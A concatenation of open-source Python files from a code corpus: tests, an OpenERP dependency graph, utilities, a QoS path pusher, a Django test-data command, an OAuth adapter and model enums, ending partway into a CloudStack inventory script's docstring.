def test_wait_for_task_xenapi_failure(mock_xenapi_failure, fake_ansible_module, xenserver):
"""Tests catching of XenAPI failures."""
with pytest.raises(FailJsonException) as exc_info:
xenserver.wait_for_task(fake_ansible_module, fake_xenapi_ref('task'))
assert exc_info.value.kwargs['msg'] == "XAPI ERROR: %s" % mock_xenapi_failure[1]
def test_wait_for_task_timeout(mocker, fake_ansible_module, XenAPI, xenserver):
"""Tests timeout."""
mocked_xenapi = mocker.patch.object(XenAPI.Session, 'xenapi', create=True)
mocked_returns = {
"task.get_status.return_value": "Pending",
"task.destroy.return_value": None,
}
mocked_xenapi.configure_mock(**mocked_returns)
mocker.patch('time.sleep')
fake_result = xenserver.wait_for_task(fake_ansible_module, fake_xenapi_ref('task'), timeout=1)
mocked_xenapi.task.destroy.assert_called_once()
assert fake_result == "timeout"
@pytest.mark.parametrize('task_status, result',
testcase_wait_for_task_all_statuses['params'],
ids=testcase_wait_for_task_all_statuses['ids'])
def test_wait_for_task(mocker, fake_ansible_module, XenAPI, xenserver, task_status, result):
"""Tests regular invocation."""
mocked_xenapi = mocker.patch.object(XenAPI.Session, 'xenapi', create=True)
# Mock will first return Pending status and on second invocation it will
# return one of possible final statuses.
mocked_returns = {
"task.get_status.side_effect": [
'Pending',
task_status,
],
"task.destroy.return_value": None,
}
mocked_xenapi.configure_mock(**mocked_returns)
mocker.patch('time.sleep')
fake_result = xenserver.wait_for_task(fake_ansible_module, fake_xenapi_ref('task'))
mocked_xenapi.task.destroy.assert_called_once()
assert fake_result == result
| gpl-3.0 |
attilammagyar/typesafety | typesafety/tests/externalmodule.py | 3 | 1042 | #
# Copyright (c) 2013-2018 Balabit
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
# External module whose objects should not be decorated when another
# module imports some of its objects.
class UndecoratedClass:
def method(self, argument: int) -> int:
return argument * 2
def undecorated_function(argument: int) -> int:
return argument * 3
| lgpl-2.1 |
ncliam/serverpos | openerp/modules/graph.py | 260 | 7763 | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>).
# Copyright (C) 2010-2014 OpenERP s.a. (<http://openerp.com>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
""" Modules dependency graph. """
import os, sys, imp
from os.path import join as opj
import itertools
import zipimport
import openerp
import openerp.osv as osv
import openerp.tools as tools
import openerp.tools.osutil as osutil
from openerp.tools.safe_eval import safe_eval as eval
from openerp.tools.translate import _
import zipfile
import openerp.release as release
import re
import base64
from zipfile import PyZipFile, ZIP_DEFLATED
from cStringIO import StringIO
import logging
_logger = logging.getLogger(__name__)
class Graph(dict):
""" Modules dependency graph.
The graph is a mapping from module name to Nodes.
"""
def add_node(self, name, info):
max_depth, father = 0, None
for d in info['depends']:
n = self.get(d) or Node(d, self, None) # lazy creation, do not use default value for get()
if n.depth >= max_depth:
father = n
max_depth = n.depth
if father:
return father.add_child(name, info)
else:
return Node(name, self, info)
def update_from_db(self, cr):
if not len(self):
return
# update the graph with values from the database (if exist)
## First, we set the default values for each package in graph
additional_data = dict((key, {'id': 0, 'state': 'uninstalled', 'dbdemo': False, 'installed_version': None}) for key in self.keys())
## Then we get the values from the database
cr.execute('SELECT name, id, state, demo AS dbdemo, latest_version AS installed_version'
' FROM ir_module_module'
' WHERE name IN %s',(tuple(additional_data),)
)
## and we update the default values with values from the database
additional_data.update((x['name'], x) for x in cr.dictfetchall())
for package in self.values():
for k, v in additional_data[package.name].items():
setattr(package, k, v)
def add_module(self, cr, module, force=None):
self.add_modules(cr, [module], force)
def add_modules(self, cr, module_list, force=None):
if force is None:
force = []
packages = []
len_graph = len(self)
for module in module_list:
# This will raise an exception if no/unreadable descriptor file.
# NOTE The call to load_information_from_description_file is already
# done by db.initialize, so it is possible to not do it again here.
info = openerp.modules.module.load_information_from_description_file(module)
if info and info['installable']:
packages.append((module, info)) # TODO directly a dict, like in get_modules_with_version
else:
_logger.warning('module %s: not installable, skipped', module)
dependencies = dict([(p, info['depends']) for p, info in packages])
current, later = set([p for p, info in packages]), set()
while packages and current > later:
package, info = packages[0]
deps = info['depends']
# if all dependencies of 'package' are already in the graph, add 'package' in the graph
if reduce(lambda x, y: x and y in self, deps, True):
if not package in current:
packages.pop(0)
continue
later.clear()
current.remove(package)
node = self.add_node(package, info)
for kind in ('init', 'demo', 'update'):
if package in tools.config[kind] or 'all' in tools.config[kind] or kind in force:
setattr(node, kind, True)
else:
later.add(package)
packages.append((package, info))
packages.pop(0)
self.update_from_db(cr)
for package in later:
unmet_deps = filter(lambda p: p not in self, dependencies[package])
_logger.error('module %s: Unmet dependencies: %s', package, ', '.join(unmet_deps))
result = len(self) - len_graph
if result != len(module_list):
_logger.warning('Some modules were not loaded.')
return result
def __iter__(self):
level = 0
done = set(self.keys())
while done:
level_modules = sorted((name, module) for name, module in self.items() if module.depth==level)
for name, module in level_modules:
done.remove(name)
yield module
level += 1
def __str__(self):
return '\n'.join(str(n) for n in self if n.depth == 0)
class Node(object):
""" One module in the modules dependency graph.
Node acts as a per-module singleton. A node is constructed via
Graph.add_module() or Graph.add_modules(). Some of its fields are from
ir_module_module (setted by Graph.update_from_db()).
"""
def __new__(cls, name, graph, info):
if name in graph:
inst = graph[name]
else:
inst = object.__new__(cls)
graph[name] = inst
return inst
def __init__(self, name, graph, info):
self.name = name
self.graph = graph
self.info = info or getattr(self, 'info', {})
if not hasattr(self, 'children'):
self.children = []
if not hasattr(self, 'depth'):
self.depth = 0
@property
def data(self):
return self.info
def add_child(self, name, info):
node = Node(name, self.graph, info)
node.depth = self.depth + 1
if node not in self.children:
self.children.append(node)
for attr in ('init', 'update', 'demo'):
if hasattr(self, attr):
setattr(node, attr, True)
self.children.sort(lambda x, y: cmp(x.name, y.name))
return node
def __setattr__(self, name, value):
super(Node, self).__setattr__(name, value)
if name in ('init', 'update', 'demo'):
tools.config[name][self.name] = 1
for child in self.children:
setattr(child, name, value)
if name == 'depth':
for child in self.children:
setattr(child, name, value + 1)
def __iter__(self):
return itertools.chain(iter(self.children), *map(iter, self.children))
def __str__(self):
return self._pprint()
def _pprint(self, depth=0):
s = '%s\n' % self.name
for c in self.children:
s += '%s`-> %s' % (' ' * depth, c._pprint(depth+1))
return s
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| agpl-3.0 |
proxysh/Safejumper-for-Desktop | buildmac/Resources/env/lib/python2.7/site-packages/twisted/protocols/haproxy/_exceptions.py | 16 | 1085 | # -*- test-case-name: twisted.protocols.haproxy.test -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
HAProxy specific exceptions.
"""
import contextlib
import sys
from twisted.python import compat
class InvalidProxyHeader(Exception):
"""
The provided PROXY protocol header is invalid.
"""
class InvalidNetworkProtocol(InvalidProxyHeader):
"""
The network protocol was not one of TCP4 TCP6 or UNKNOWN.
"""
class MissingAddressData(InvalidProxyHeader):
"""
The address data is missing or incomplete.
"""
@contextlib.contextmanager
def convertError(sourceType, targetType):
"""
Convert an error into a different error type.
@param sourceType: The type of exception that should be caught and
converted.
@type sourceType: L{Exception}
@param targetType: The type of exception to which the original should be
converted.
@type targetType: L{Exception}
"""
try:
yield None
except sourceType:
compat.reraise(targetType(), sys.exc_info()[-1])
| gpl-2.0 |
reyha/zulip | zerver/tests/test_tutorial.py | 32 | 2671 | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import print_function
from typing import Any, Dict
from zerver.lib.test_helpers import (
get_user_profile_by_email,
most_recent_message,
)
from zerver.lib.test_classes import (
ZulipTestCase,
)
from zerver.models import (
UserProfile,
)
import ujson
def fix_params(raw_params):
# type: (Dict[str, Any]) -> Dict[str, str]
# A few of our few legacy endpoints need their
# individual parameters serialized as JSON.
return {k: ujson.dumps(v) for k, v in raw_params.items()}
class TutorialTests(ZulipTestCase):
def test_send_message(self):
# type: () -> None
email = 'hamlet@zulip.com'
user = get_user_profile_by_email(email)
self.login(email)
welcome_bot = get_user_profile_by_email("welcome-bot@zulip.com")
raw_params = dict(
type='stream',
recipient='Denmark',
topic='welcome',
content='hello'
)
params = fix_params(raw_params)
result = self.client_post("/json/tutorial_send_message", params)
self.assert_json_success(result)
message = most_recent_message(user)
self.assertEqual(message.content, 'hello')
self.assertEqual(message.sender, welcome_bot)
# now test some error cases
result = self.client_post("/json/tutorial_send_message", {})
self.assert_json_error(result, "Missing 'type' argument")
result = self.client_post("/json/tutorial_send_message", raw_params)
self.assert_json_error(result, 'argument "type" is not valid json.')
raw_params = dict(
type='INVALID',
recipient='Denmark',
topic='welcome',
content='hello'
)
params = fix_params(raw_params)
result = self.client_post("/json/tutorial_send_message", params)
self.assert_json_error(result, 'Bad data passed in to tutorial_send_message')
def test_tutorial_status(self):
# type: () -> None
email = 'hamlet@zulip.com'
self.login(email)
cases = [
('started', UserProfile.TUTORIAL_STARTED),
('finished', UserProfile.TUTORIAL_FINISHED),
]
for incoming_status, expected_db_status in cases:
raw_params = dict(status=incoming_status)
params = fix_params(raw_params)
result = self.client_post('/json/tutorial_status', params)
self.assert_json_success(result)
user = get_user_profile_by_email(email)
self.assertEqual(user.tutorial_status, expected_db_status)
| apache-2.0 |
darktears/chromium-crosswalk | infra/scripts/legacy/scripts/common/chromium_utils.py | 30 | 2152 | # Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
""" Set of basic operations/utilities that are used by the build. """
from contextlib import contextmanager
import ast
import cStringIO
import copy
import errno
import fnmatch
import glob
import json
import os
import re
import shutil
import socket
import stat
import subprocess
import sys
import threading
import time
import traceback
BUILD_DIR = os.path.realpath(os.path.join(
os.path.dirname(__file__), os.pardir, os.pardir))
# Local errors.
class MissingArgument(Exception):
pass
class PathNotFound(Exception):
pass
class ExternalError(Exception):
pass
def IsWindows():
return sys.platform == 'cygwin' or sys.platform.startswith('win')
def IsLinux():
return sys.platform.startswith('linux')
def IsMac():
return sys.platform.startswith('darwin')
def convert_json(option, _, value, parser):
"""Provide an OptionParser callback to unmarshal a JSON string."""
setattr(parser.values, option.dest, json.loads(value))
def AddPropertiesOptions(option_parser):
"""Registers command line options for parsing build and factory properties.
After parsing, the options object will have the 'build_properties' and
'factory_properties' attributes. The corresponding values will be python
dictionaries containing the properties. If the options are not given on
the command line, the dictionaries will be empty.
Args:
option_parser: An optparse.OptionParser to register command line options
for build and factory properties.
"""
option_parser.add_option('--build-properties', action='callback',
callback=convert_json, type='string',
nargs=1, default={},
help='build properties in JSON format')
option_parser.add_option('--factory-properties', action='callback',
callback=convert_json, type='string',
nargs=1, default={},
help='factory properties in JSON format')
| bsd-3-clause |
Malphaet/vkyweb | generator/file_parser.py | 1 | 6822 | # Copyleft (c) 2016 Cocobug All Rights Reserved.
# -*- coding: utf_8 -*-
import os,sys,codecs
import re
import traceback
class WebPage(object):
"A webpage object, with some variables and all localisations"
def __init__(self,path):
self.path=path
self.name=os.path.split(path)[-1]
self.variables={}
self.list_of_lang=set()
self.reserved=set(["model"])
self.reserved_prefix="reserved_"
self.content=[]
def init_reserved(self,*others):
"Init all the reserved variables, note that no protections are used, so use them at your own risk"
for i in others:
self.reserved.add(i)
for key in self.reserved:
setattr(self,key,"")
def set_reserved(self,var,value=""):
"Set a reserved variable"
setattr(self,self.reserved_prefix+key,value)
def get_reserved(self,var):
"Get a reserved variable"
return getattr(self,self.reserved_prefix+var)
def add_content(self,text,lang):
"Add a line of content, with the appropriates langues"
self.content.append([text,lang])
def get_next_line(self,filter_lang="*"):
"Get a line of text, with a filter if needed"
for line,lang in self.content:
if self.match_with_lang(lang,filter_lang):
yield line
def match_with_lang(self,lang,filter_lang):
"""Will make sense if I ever use a translation table and not a clusterf*ck of strings"""
for l in lang:
if l=="*" or l==filter_lang:
return 1
return 0
def get_text(self,filter_lang):
"Get the whole text matching the filter, note that the * filter will ONLY match if the text is meant for all, not all text"
text=""
for line in self.get_next_line(filter_lang):
text+=line
text+=os.linesep
return text
def add_variable(self,var,value):
"""Add the folowing variable and update the necessary constants
Note that it's one of the only ways to add a language to the list_of_lang
Takes a variable (with an eventual langague tag) and it's value"""
var,lang=create_lang(var)
if var in self.reserved:
setattr(self,var,value)
else:
add_to_table(var,lang,value,self.variables)
self.list_of_lang.add(lang)
def get_variable(self,varname,filter_lang="*"):
"Get a variable, if * or nothing is used a filter the program will attempt to give a global variable, or will yield one at random"
#print "Getting",varname,filter_lang,"in",self.variables
#if varname in self.reserved:
# return getattr(self,varname)
if varname in self.variables:
if filter_lang in self.variables[varname]:
return self.variables[varname][filter_lang]
else:
if filter_lang=="*":
return self.variables[varname].values()[0]
return self.variables[varname]["*"]
raise KeyError("The variable "+varname+" doens't exist in the language "+filter_lang)
def export(self):
"Export the Webobject in every language"
exp={}
for lang in self.list_of_lang:
exp[lang]=self.get_text(lang)
return exp
def add_to_table(var,lang,value,table):
"For now it works in tandem with create_lang and add to a dict with the lang"
if var in table:
table[var][lang]=value
else:
table[var]={lang:value}
return table
def create_lang(var):
"""Takes a variable (with an eventual language tag) and it's value and return var,lang,value
Only the last _ determines the language, note that it could give the impression _ is ok to use in variables. It is not."""
s_var=var.rsplit('_',1)
if len(s_var)==2:
if "" in s_var:
return var,"*"
return s_var[0],s_var[1]
return var ,"*"
def parse_file(file_name):
"Parse a file and return a webpage object"
page=WebPage(file_name)
page.init_reserved()
with open(file_name) as f:
try:
while True: # Parse the config file
line=f.readline()
if not line: # Wait for the last line
break
if line.startswith("----"): # Not really a good practice, but meh
break
if line!=os.linesep: # Now parsing config files
var,value=re_config_line.match(line).groups()
page.add_variable(var,value)
used_langs={} # Keep trace of all used langs and opened/closed matchs
while True: # The config lines are now parsed, will now enter the nightmare of standart lines
line=f.readline()
if not line: # Wait for the last line
break
match=re_text_line.match(line) #Will always match since there is a .* in the regex
beg_lang,end_lang,text=match.groups()
page_text=[]
if beg_lang: #Will now add a lang to witch the program should write
if beg_lang in used_langs:
used_langs[beg_lang]+=1
else:
used_langs[beg_lang]=1
elif end_lang:
if end_lang in used_langs:
used_langs[end_lang]-=1
else:
used_langs[end_lang]=0 # This should never happen, but...users
elif text:
line_langs=[] # Langs used in the current line
for l in used_langs: #
if used_langs[l]>0:
line_langs.append(l)
if len(line_langs)==0: # If no langs are used, print in every lang (standart behavior)
line_langs=["*"]
page.add_content(text,line_langs)
except re.error:
print("Error parsing",file_name,"contain a non parsable line:")
print(" >",line)
except:
traceback.print_exc()
page.list_of_lang.update(used_langs) # Not sure this fix is actually a good idea, could just force adding langs in variables
return page
re_config_line=re.compile("(?P<variable>.+): (?P<value>.*)")
re_text_line=re.compile("__(?P<beg_lang>[\*\w]+)__|__/(?P<end_lang>[\*\w]+)__|(?P<text>.*)")
if __name__ == '__main__':
import tree_parser
config=parse_file("sites/example_website/_config.txt")
index=parse_file("sites/example_website/index.txt")
print("All text only")
print(index.get_text("*"))
print("Fr text only")
print(index.get_text("fr"))
print("En text only")
print(index.get_text("en"))
| unlicense |
jimmyoic/floodlight-qosmanager | apps/qos/qospath2.py | 5 | 8109 | #! /usr/bin/python
"""
QoSPath.py v2---------------------------------------------------------------------------------------------------
Developed By: Ryan Wallner (ryan.wallner1@marist.edu)
Add QoS to a specific path in the network. Utilized circuit pusher developed by KC Wang
[Note]
*the circuitpusher.py is needed in the same directory for this application to run
succesfully! This circuitpusher instance is used WITHOUT pushing statis flows.
the static flows are commented out, circuitpusher is only used to get route.
[author] - rjwallner
-----------------------------------------------------------------------------------------------------------------------
"""
import sys
import os
import re
import time
import simplejson #used to process policies and encode/decode requests
import subprocess #spawning subprocesses
import argparse
def main():
parser = argparse.ArgumentParser(description="QoS Path Pusher")
parser.add_argument('-p','--port',
required=False,
default="8080",
type=str,
dest='p',
metavar="P")
parser.add_argument('-c','--controller',
required=False,
default="127.0.0.1",
dest="c",
type=str,
metavar="C")
parser.add_argument("-a","--add",
required=False,
dest="action_op",
action="store_const",
const="add",
metavar="add")
parser.add_argument("-d","--delete",
required=False,
dest="action_op",
action="store_const",
const="delete",
metavar="delete")
parser.add_argument("-N","--name",
required=True,
dest="name")
parser.add_argument("-J","--json",
required=False,
dest="obj")
parser.add_argument("-S","--src-ip",
required=False,
dest="src_ip")
parser.add_argument("-D","--dest-ip",
required=False,
dest="dest_ip")
args = parser.parse_args()
#initialize arguments
c = args.c
p = args.p
name = args.name
action = args.action_op
src = args.src_ip
dest = args.dest_ip
json = args.obj
# Add/ Delete
if action == "add":
print "add"
if src != None and dest != None and json != None:
#syntax check ip addresses
#required fields
#Credit: Sriram Santosh
ipPattern = re.compile('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}')
if len(re.findall(ipPattern,src)) > 0:
print "src good"
else:
print "bad src"
exit(1)
if len(re.findall(ipPattern,dest)) > 0:
print "dest good"
else:
print "bad dest"
exit(1)
#all goes well, add
add(name,src,dest,json,c,p)
exit()
else:
print "Missing arguments, check src, dest, and json"
exit(1)
elif action == "delete":
print "delete"
delete(name,c,p)
exit()
else:
print "action not unrecognized"
exit(1)
#Add a Quality of Service Path
# @NAME -Name of the Path
# @SRC -Source IP
# @DEST -Destination IP
# @JSON -Json object of the policy
# @C, @P -Controller / Port
#
# Author- Ryan Wallner
def add(name,src,dest,json,c,cprt):
print "Trying to create a circuit from host %s to host %s..." % (src,dest)
c_pusher = "circuitpusher.py"
qos_pusher = "qosmanager2.py"
pwd = os.getcwd()
print pwd
try:
if (os.path.exists("%s/%s" % (pwd,c_pusher))) and (os.path.exists("%s/%s" % (pwd,qos_pusher))):
print "Necessary tools confirmed.. %s , %s" % (c_pusher,qos_pusher)
else:
print "%s/%s does not exist" %(pwd,c_pusher)
print "%s/%s does not exist" %(pwd,qos_pusher)
except ValueError as e:
print "Problem finding tools...%s , %s" % (c_pusher,qos_pusher)
print e
exit(1)
#first create the circuit and wait to json to pupulate
print "create circuit!!!"
try:
cmd = "--controller=%s:%s --type ip --src %s --dst %s --add --name %s" % (c,cprt,src,dest,name)
print './circuitpusher.py %s' % cmd
c_proc = subprocess.Popen('./circuitpusher.py %s' % cmd, shell=True)
print "Process %s started to create circuit" % c_proc.pid
#wait for the circuit to be created
c_proc.wait()
except Exception as e:
print "could not create circuit, Error: %s" % str(e)
try:
subprocess.Popen("cat circuits.json",shell=True).wait()
except Exception as e:
print "Error opening file, Error: %s" % str(e)
#cannot continue without file
exit()
print "Opening circuits.json in %s" % pwd
try:
circs = "circuits.json"
c_data = open(circs)
except Exception as e:
print "Error opening file: %s" % str(e)
print "Creating a QoSPath from host %s to host %s..." % (src,dest)
#Sleep purely for end user
time.sleep(3)
for line in c_data:
data = simplejson.loads(line)
if data['name'] != name:
continue
else:
sw_id = data['Dpid']
in_prt = data['inPort']
out_prt = data['outPort']
print"QoS applied to switch %s for circuit %s" % (sw_id,data['name'])
print "%s: in:%s out:%s" % (sw_id,in_prt,out_prt)
p = simplejson.loads(json)
#add necessary match values to policy for path
p['sw'] = sw_id
p['name'] = name+"."+sw_id
#screwed up connectivity on this match, remove
#p['ingress-port'] = str(in_prt)
p['ip-src'] = src
p['ip-dst'] = dest
keys = p.keys()
l = len(keys)
queue = False
service = False
for i in range(l):
if keys[i] == 'queue':
queue = True
elif keys[i] == 'service':
service = True
if queue and service:
polErr()
elif queue and not service:
p['enqueue-port'] = str(out_prt)
pol = str(p)
print "Adding Queueing Rule"
sjson = simplejson.JSONEncoder(sort_keys=False,indent=3).encode(p)
print sjson
cmd = "./qosmanager2.py --add --type policy --json '%s' -c %s -p %s" % (sjson,c,cprt)
p = subprocess.Popen(cmd, shell=True).wait()
elif service and not queue:
print "Adding Type of Service"
sjson = simplejson.JSONEncoder(sort_keys=False,indent=3).encode(p)
print sjson
cmd = "./qosmanager2.py --add --type policy --json '%s' -c %s -p %s" % (sjson,c,cprt)
p = subprocess.Popen(cmd, shell=True).wait()
else:
polErr()
def polErr():
print """Your policy is not defined right, check to
make sure you have a service OR a queue defined"""
#Delete a Quality of Service Path
# @NAME -Name of the Path
# @C, @P -Controller / Port
#
# Author- Ryan Wallner
def delete(name,c,p):
print "Trying to delete QoSPath %s" % name
# circuitpusher --controller {IP:REST_PORT} --delete --name {CIRCUIT_NAME}
try:
print "Deleting circuit"
cmd = "./circuitpusher.py --controller %s:%s --delete --name %s" % (c,p,name)
subprocess.Popen(cmd,shell=True).wait()
except Exception as e:
print "Error deleting circuit, Error: %s" % str(e)
exit()
qos_s = os.popen("./qosmanager2.py --list --type policies --controller %s --port %s" %(c,p)).read()
#pull only the right info from response
qos_s = qos_s[qos_s.find("[",qos_s.find("[")+1):qos_s.rfind("]")+1]
data = simplejson.loads(qos_s)
sjson = simplejson.JSONEncoder(sort_keys=False,indent=3).encode(data)
jsond = simplejson.JSONDecoder().decode(sjson)
#find policies that start with "<pathname>."
l = len(jsond)
for i in range(l):
n = jsond[i]['name']
if name in n:
pol_id = jsond[i]['policyid']
try:
cmd = "./qosmanager2.py --delete --type policy --json '{\"policy-id\":\"%s\"}' -c %s -p %s " % (pol_id,c,p)
print cmd
subprocess.Popen(cmd,shell=True).wait()
except Exception as e:
print "Could not delete policy in path: %s" % str(e)
#Call main :)
if __name__ == "__main__" :
main()
| apache-2.0 |
jjmleiro/hue | desktop/core/ext-py/django-axes-1.5.0/examples/example/foo/management/commands/axes_create_test_data.py | 25 | 1064 | from __future__ import print_function
from django.core.management.base import BaseCommand
from django.contrib.auth.models import User
def create_admin_user(username, password):
"""
Create a user for testing the admin.
:param string username:
:param strring password:
"""
u = User()
u.username = username
u.email = '{0}@dev.mail.example.com'.format(username)
u.is_superuser = True
u.is_staff = True
u.set_password(password)
try:
u.save()
print("Created user {0} with password {1}.".format(username, password))
except Exception as e:
#print("Failed to create user {0} with password {1}. Reason: {2}".format(username, password, str(e)))
pass
class Command(BaseCommand):
def handle(self, *args, **options):
"""
Creates test data.
"""
try:
create_admin_user('admin', 'test')
except Exception as e:
pass
try:
create_admin_user('test', 'test')
except Exception as e:
pass
| apache-2.0 |
hoosteeno/kuma | kuma/users/providers/github/views.py | 13 | 1712 | import requests
from allauth.account.utils import get_next_redirect_url
from allauth.socialaccount.providers.oauth2.views import (OAuth2LoginView,
OAuth2CallbackView)
from allauth.socialaccount.providers.github.views import GitHubOAuth2Adapter
from kuma.core.urlresolvers import reverse
class KumaGitHubOAuth2Adapter(GitHubOAuth2Adapter):
"""
A custom GitHub OAuth adapter to be used for fetching the list
of private email addresses stored for the given user at GitHub.
We store those email addresses in the extra data of each account.
"""
email_url = 'https://api.github.com/user/emails'
def complete_login(self, request, app, token, **kwargs):
params = {'access_token': token.token}
profile_data = requests.get(self.profile_url, params=params)
extra_data = profile_data.json()
email_data = requests.get(self.email_url, params=params)
extra_data['email_addresses'] = email_data.json()
return self.get_provider().sociallogin_from_response(request,
extra_data)
class KumaOAuth2LoginView(OAuth2LoginView):
def dispatch(self, request):
next_url = (get_next_redirect_url(request) or
reverse('users.my_edit_page',
locale=request.locale))
request.session['sociallogin_next_url'] = next_url
request.session.modified = True
return super(KumaOAuth2LoginView, self).dispatch(request)
oauth2_login = KumaOAuth2LoginView.adapter_view(KumaGitHubOAuth2Adapter)
oauth2_callback = OAuth2CallbackView.adapter_view(KumaGitHubOAuth2Adapter)
| mpl-2.0 |
sgmap/openfisca-parsers | openfisca_parsers/scripts/datatrees_to_json.py | 2 | 1776 | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# OpenFisca -- A versatile microsimulation software
# By: OpenFisca Team <contact@openfisca.fr>
#
# Copyright (C) 2011, 2012, 2013, 2014, 2015 OpenFisca Team
# https://github.com/openfisca
#
# This file is part of OpenFisca.
#
# OpenFisca is free software; you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# OpenFisca is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
"""Convert datatrees dict to JSON."""
import argparse
import json
import logging
import sys
from openfisca_france import entities
from openfisca_france.model import datatrees
def main():
parser = argparse.ArgumentParser(description = __doc__)
parser.add_argument('-v', '--verbose', action = 'store_true', default = False, help = "increase output verbosity")
args = parser.parse_args()
logging.basicConfig(level = logging.DEBUG if args.verbose else logging.WARNING, stream = sys.stdout)
columns_name_tree_by_entity_name = {
entities.entity_class_by_symbol[entity_symbol].key_singular: tree
for entity_symbol, tree in datatrees.columns_name_tree_by_entity.iteritems()
}
print json.dumps(columns_name_tree_by_entity_name, indent = 2)
return 0
if __name__ == "__main__":
sys.exit(main())
| agpl-3.0 |
sindhus/hasjob | hasjob/models/__init__.py | 1 | 2623 | # -*- coding: utf-8 -*-
# flake8: noqa
from datetime import timedelta
from coaster import LabeledEnum
from coaster.db import db
from coaster.sqlalchemy import (BaseMixin, BaseNameMixin, TimestampMixin, BaseScopedIdMixin,
BaseScopedNameMixin, CoordinatesMixin, make_timestamp_columns)
from .. import app
agelimit = timedelta(days=30)
newlimit = timedelta(days=1)
class POSTSTATUS:
DRAFT = 0 # Being written
PENDING = 1 # Pending email verification
CONFIRMED = 2 # Post is now live on site
REVIEWED = 3 # Reviewed and cleared for push channels
REJECTED = 4 # Reviewed and rejected as inappropriate
WITHDRAWN = 5 # Withdrawn by owner
FLAGGED = 6 # Flagged by users for review
SPAM = 7 # Marked as spam
MODERATED = 8 # Moderated, needs edit
ANNOUNCEMENT = 9 # Special announcement
CLOSED = 10 # Not accepting applications, but publicly viewable
UNPUBLISHED = (DRAFT, PENDING)
GONE = (REJECTED, WITHDRAWN, SPAM)
LISTED = (CONFIRMED, REVIEWED, ANNOUNCEMENT)
POSTPENDING = (CONFIRMED, REVIEWED, REJECTED, WITHDRAWN, FLAGGED, SPAM, MODERATED, ANNOUNCEMENT)
MY = (DRAFT, PENDING, CONFIRMED, REVIEWED, MODERATED, ANNOUNCEMENT, CLOSED)
ARCHIVED = (CONFIRMED, REVIEWED, ANNOUNCEMENT, CLOSED)
class CURRENCY(LabeledEnum):
INR = ('INR', 'INR')
USD = ('USD', 'USD')
EUR = ('EUR', 'EUR')
__order__ = (INR, USD, EUR)
class EMPLOYER_RESPONSE(LabeledEnum):
NEW = (0, u"New") # New application
PENDING = (1, u"Pending") # Employer viewed on website
IGNORED = (2, u"Ignored") # Dismissed as not worth responding to
REPLIED = (3, u"Replied") # Employer replied to candidate
FLAGGED = (4, u"Flagged") # Employer reported a spammer
SPAM = (5, u"Spam") # Admin marked this as spam
REJECTED = (6, u"Rejected") # Employer rejected candidate with a message
class PAY_TYPE(LabeledEnum):
NOCASH = (0, u"Nothing")
ONETIME = (1, u"One-time")
RECURRING = (2, u"Recurring")
class CANDIDATE_FEEDBACK(LabeledEnum):
NORESPONSE = (0, u"No response")
INPROCESS = (1, u"In process")
DID_NOT_GET = (2, u"Did not get the job")
DID_NOT_ACCEPT = (3, u"Got offer, did not accept")
GOT_JOB = (4, u"Got the job")
from .user import *
from .jobcategory import *
from .jobpostreport import *
from .jobtype import *
from .location import *
from .tag import *
from .reportcode import *
from .jobpost import *
from .domain import *
from .board import *
from .flags import *
from .campaign import *
| agpl-3.0 |
fossilet/ansible | contrib/inventory/cloudstack.py | 111 | 8221 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# (c) 2015, René Moser <mail@renemoser.net>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
######################################################################
"""
Ansible CloudStack external inventory script.
=============================================
Generates Ansible inventory from CloudStack. Configuration is read from
'cloudstack.ini'. If you need to pass the project, write a simple wrapper
script, e.g. project_cloudstack.sh:
#!/bin/bash
cloudstack.py --project <your_project> $@
When run against a specific host, this script returns the following attributes
based on the data obtained from CloudStack API:
"web01": {
"cpu_number": 2,
"nic": [
{
"ip": "10.102.76.98",
"mac": "02:00:50:99:00:01",
"type": "Isolated",
"netmask": "255.255.255.0",
"gateway": "10.102.76.1"
},
{
"ip": "10.102.138.63",
"mac": "06:b7:5a:00:14:84",
"type": "Shared",
"netmask": "255.255.255.0",
"gateway": "10.102.138.1"
}
],
"default_ip": "10.102.76.98",
"zone": "ZUERICH",
"created": "2014-07-02T07:53:50+0200",
"hypervisor": "VMware",
"memory": 2048,
